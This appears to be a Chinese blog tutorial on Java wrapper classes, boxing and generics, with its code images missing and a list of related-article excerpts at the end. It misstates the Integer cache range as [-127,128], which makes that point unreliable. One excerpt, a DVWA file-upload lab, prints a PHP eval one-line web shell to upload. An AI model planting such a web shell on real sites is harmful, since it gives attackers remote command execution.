【包装类简单认识泛型】

目录

1,包装类

1.1 基本数据类型和对应的包装类

1.2 装箱和拆箱

2,什么是泛型

3,引出泛型

3.1 语法

4,泛型如何编译的

4.1 擦除机制

4.2 为什么不能实例化泛型类型数组

5,泛型的上界

5.1 语法

5.2 复杂示例

6,泛型方法


1,包装类

在Java中,由于基本类型不是继承自Object,为了在泛型代码中可以支持基本类型,Java给每个基本类型都对应了 一个包装类型。

1.1 基本数据类型和对应的包装类

除了 Integer 和 Character, 其余基本类型的包装类都是首字母大写。

1.2 装箱和拆箱

装箱:把一个基本类型变成引用类型

这里划红线的原因是代表当前方法已经过时

不管是显示还是隐式,我们打开底层的汇编过程

发现自动装箱在底层也是调用的valueof,总的来说,valueof在给我们进行装箱

拆箱:把一个引用类型变成基本类型

进入底层查看汇编代码

还可以将其变成double类型

【面试题】

下列代码输出什么,为什么?

这里涉及到点是装箱,上面讲到过装箱在底层是调用的valueof来完成的,进入到valueof的源码

valueof调用了这个方法,发现i在if这个条件范围里面,就去cache这个数组里面取值,相反如果i不在这个范围里面,那么就会实例化一个新的对象,即根据上面代码的运行结果发现100在if条件范围里面,200实例化了一个新的对象,对应地址不同,所以范围false

进入high的源码:

观察发现这个数组的范围是[-127,128],即i的值在这个范围里面,就在这个数组里面取值,反之实例化新的对象

2,什么是泛型

一般的类和方法,只能使用具体的类型: 要么是基本类型,要么是自定义的类。如果要编写可以应用于多种类型的代码,这种刻板的限制对代码的束缚就会很大。----- 来源《Java编程思想》对泛型的介绍。

泛型是在JDK1.5引入的新的语法,通俗讲,泛型:就是适用于许多许多类型。从代码上讲,就是对类型实现了参数化。(传类型)

3,引出泛型

把类型参数化,意味着可以传指定的类型参数—》如何实现呢?

首先想到的是:Object

需求:实现一个类,类中包含一个数组成员,使得数组中可以存放任何类型的数据,也可以根据成员方法返回数组中某个下标的值

也就是说getValue的返回值是Object,他是一个父类类型,所以得强制类型转换

但是这种写法显得代码很乱,里面即可以存放int,又能存放String,甚至还可以存放double,而且还要进行强转,貌似是一个通用的,其实并不通用。

期望的是存指定类型数据,把参数传给Myarray

所以,泛型的主要目的:就是指定当前的容器,要持有什么类型的对象。让编译器去做检查。此时,就需要把类型,作为参数传递。需要什么类型,就传入什么类型。

3.1 语法

在<>里面可写E/T/E,T     <T>代表当前类,是一个泛型类

上面代码就可以改动:

1,在实例化对象的时候已经指定当前类型为整型,每次存储数据的时候,会检查你存入的数据是不是和你指定的类型一样,若不一样,就会报错。(编译的时候)

2,此时不需要进行强制类型转换      运行的时候没有泛型这样的概念

并不是<T>替换成<Integer>,只是拿着它去检查的,并不是替换

那我们是否可以直接实例化T? 

是不可以的,Java当中的数组是一种类型,所以实例化数组的时候要知道实例化的是一个什么样的数组,从此代码来看,并不知道T是一个什么,所以上面的T并没有替换成Integer,只是拿着它去检查类型是否匹配!!!

这样写也是存在问题的,下面会讲到

代码解释:

1. 类名后的代表占位符,表示当前类是一个泛型类

2. 不能new泛型类型的数组

3. 类型后加入指定当前类型

4. 不需要进行强制类型转换

5. 编译器会在存放元素的时 候帮助我们进行类型检查

注意:泛型只能接受类,所有的基本数据类型必须使用包装类!

4,泛型如何编译的

运行的时候代码在JVM当中,也就是说在JVM当中没有泛型的概念 

4.1 擦除机制

那么,泛型到底是怎么编译的?这个问题,也是曾经的一个面试问题。泛型本质是一个非常难的语法,要理解好他还是需要一定的时间打磨。

通过命令:javap -c 查看字节码文件,所有的T都是Object。

在编译的过程当中,将所有的T替换为Object这种机制,我们称为:擦除机制。

Java的泛型机制是在编译级别实现的。编译器生成的字节码在运行期间并不包含泛型的类型信息。

4.2 为什么不能实例化泛型类型数组

在上面讲到以下代码这种写法是有问题的

在MyArray里面添加一个方法

对此方法进行访问

这里报错了,类型转换异常,不能把Object转换成String类型的,getArray的返回值通过通过类型擦除是Object类型数组,Object类型数组给到String数组是不能给的,强转都不行

那为什么强转都不行呢?

我们说Object类是所以类的父类,但是Object[ ]不是所以数组的父类,他是一种单独的类型,所以就不能说Object[ ]是String[ ]的父类,Object是String的父类

所以就只能通过Object数组来接收

所以,以后都用Object来写

5,泛型的上界

在定义泛型类时,有时需要对传入的类型变量做一定的约束,可以通过类型边界来约束。

5.1 语法

例如:

只接受 Number 的子类型作为 T 的类型实参,或者是Number自己

5.2 复杂示例

比如:定义一个泛型类,找到数组当中的最大值

6,泛型方法

还可以不实例化对象,将方法改写成静态方法,使用类名去调用即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/661877.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第16章-超声波跟随功能 基于STM32的三路超声波自动跟随小车 毕业设计 课程设计

第16章-超声波跟随功能 无PID跟随功能 //超声波跟随if(HC_SR04_Read() > 25){motorForward();//前进HAL_Delay(100);}if(HC_SR04_Read() < 20){motorBackward();//后退HAL_Delay(100);}PID跟随功能 在pid.c中定义一组PID参数 tPid pidFollow; //定距离跟随PIDpidFol…

【错误记录】HarmonyOS 运行报错 ( Failure INSTALL_PARSE_FAILED_USESDK_ERROR )

文章目录 一、报错信息二、问题分析三、解决方案 一、报错信息 在 DevEco Studio 中 , 使用 远程设备 , 向 P40 Failure[INSTALL_PARSE_FAILED_USESDK_ERROR] compileSdkVersion and releaseType of the app do not match the apiVersion and releaseType on the device. 二、…

Java网络编程之TCP协议核心机制(二)

目录 题外话 正题 滑动窗口机制 如果出现丢包问题怎么办?? 滑动窗口触发条件 流量控制 拥塞控制 小结 题外话 宿舍没有空调的感觉谁懂?!!! 人要蒸发了,八点自动热醒,直接强行学习 正题 我们继续讲解TCP协议核心机制 上篇博客讲完了,建立连接机制,确认应答机制,超时…

视频监控业务平台LntonCVS国标GB28181视频平台智慧城市应用方案

随着科技的不断进步&#xff0c;尤其是人工智能技术的飞速发展&#xff0c;视频应用已经超越了传统的视频监控、视频会议、视频通话和视频指挥调度等基本功能。它们正在向更加多元化、灵活化、融合化和智能化的方向发展。因此&#xff0c;建立一个视频AI中台变得至关重要。 通过…

ch3运输层--计算机网络期末复习(持续更新中)

运输层位于网络层之上 运输层协议提供的某些服务受到网络层协议的限制。比如,时限和带宽保证。 运输层也提供自己的特殊服务。比如,可靠数据传输服务,安全性服务。 网络层:两个主机之间的逻辑通信 运输层:两个进程之间的逻辑通信 网络地址:主机的标识(IP地址) 传输地址: …

RTT UART设备框架学习

UART简介 UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff09;通用异步收发传输器&#xff0c;UART 作为异步串口通信协议的一种&#xff0c;工作原理是将传输数据的每个字符一位接一位地传输。是在应用程序开发过程中使用频率最高的数据总线。 UART串…

Vitis HLS 学习笔记--块级控制协议-ap_ctrl_chain/ap_ctrl_hs/ap_ctrl_none

目录 1. 简介 2. 详细分析 2.1 使用场景区别 2.2 ap_continue 行为详解 2.3 ap_ctrl_chain 行为详解 3. 总结 1. 简介 块级控制协议允许硬件模块表明&#xff1a; 何时可以开始处理数据。何时完成了数据处理。以及何时处于空闲状态&#xff0c;准备接受新的数据输入。 …

LLAMA3==shenzhi-wang/Llama3-8B-Chinese-Chat。windows安装不使用ollama

创建环境&#xff1a; conda create -n llama3_env python3.10 conda activate llama3_env conda install pytorch torchvision torchaudio cudatoolkit11.7 -c pytorch 安装Hugging Face的Transformers库&#xff1a; pip install transformers sentencepiece 下载模型 ht…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

随手记:多行文本域存数据有换行,回显数据换行展示

1.在新增的时候存储数据 <el-input type"textarea"v-model"XXXX"></el-input> 2.详情页返回的数据&#xff1a; replace一顿操作确实复杂 最快的方法直接写个样式:style"white-space: pre-line" 即可行内或者class样式都可以 …

【NumPy】深入理解NumPy的cov函数:计算协方差矩阵的完整指南

&#x1f9d1; 博主简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟&#xff0c;欢迎关注。提供嵌入式方向…

了解可燃气体报警器的检测原理与注意事项

在工业、商业以及家庭生活中&#xff0c;可燃气体报警器作为安全监测的重要设备&#xff0c;发挥着不可忽视的作用。 那么&#xff0c;可燃气体报警器主要检测哪些气体呢&#xff1f; 接下来&#xff0c;佰德将从可燃气体种类、报警器工作原理、检测范围与精度、应用场景与重…

JavaWeb基础(一)-IO操作

Java I/O工作机制&#xff1a; 注&#xff1a;简要笔记&#xff0c;示例代码可能较少&#xff0c;甚至没有。 1、Java 的 I/O 类库的基本架构。 ​ Java 的 I/O 操作类在包 java.io 下&#xff0c;大概有将近80个类&#xff0c;这些类大概可以分为如下四组。 基于字节操作的…

前端基础入门:静态页面与动态页面的区别

什么是静态页面和动态页面&#xff1f; 通俗的来讲&#xff0c;静态页面是随着HTML代码的生成&#xff0c;页面的内容和显示效果就基本不会发生变化&#xff08;除非修改页面代码&#xff09;&#xff0c;而动态页面&#xff0c;虽然同样页面代码不发生变化&#xff0c;但是其…

【错题集-编程题】小红取数(动态规划 - 01 背包 + 同余)

牛客对应题目链接&#xff1a;小红取数_牛客题霸_牛客网 (nowcoder.com) 一、分析题目 这道题是不能用空间优化的。 同余原理 a % k x 和 b % k y <> (ab) % k 0 <> (xy) % k 0 状态表示 dp[i][j]&#xff1a;表示从前 i 个数中挑选&#xff0c;总和 %k 等于 j…

【class19】人工智能初步---语音识别(5)

【class19】 上节课&#xff0c;我们学习了&#xff1a;语音识别模型的结构和原理&#xff0c;同时调用创建好的AipSpeech客户端实现了语音转文字功能。 本节课&#xff0c;我们将初识字幕&#xff0c;学习这些知识点&#xff1a;1. srt字幕 2. 获取时间数据 …

OpenWrt 安装Quagga 支持ospf Bgp等动态路由协议 软路由实测 系列四

1 Quagga 是一个路由软件套件, 提供 OSPFv2,OSPFv3,RIP v1 和 v2,RIPng 和 BGP-4 的实现. 2 web 登录安装 #或者ssh登录安装 opkg install quagga quagga-zebra quagga-bgpd quagga-watchquagga quagga-vtysh # reboot 3 ssh 登录 #重启服务 /etc/init.d/quagga restart #…

揭秘IDM:数字资产管理的未来之星

在当今数字化时代&#xff0c;数字资产管理的重要性日益凸显。随着科技的飞速发展&#xff0c;越来越多的企业和个人开始关注如何有效管理和保护他们的数字资产。在这个过程中&#xff0c;IDM&#xff08;身份管理系统&#xff09;逐渐成为了热门话题。IDM作为一种新兴的技术手…

一个生动的例子——通过ERC20接口访问Tether合约

生动的例子 USDT&#xff1a;符合ERC20标准的美元稳定币&#xff0c;Tether合约获得测试网上Tether合约地址通过自己写的ERC20接口访问这个合约 Tether合约地址&#xff1a;0xdAC17F958D2ee523a2206206994597C13D831ec7 IERC20.sol // SPDX-License-Identifier: GPL-3.0pra…

ARM-V9 RME(Realm Management Extension)系统架构之系统能力的内存隔离和保护

安全之安全(security)博客目录导读 目录 一、内存隔离和保护 1、颗粒PAS过滤Granular PAS filtering 2、Cache的一致性维护 2.1 物理别名点 Point of Physical Aliasing (PoPA) 2.2 加密点 3、内存(DRAM)保护 3.1 内存加密和完整性 3.2 DRAM scrubbing 本博客探讨 RME…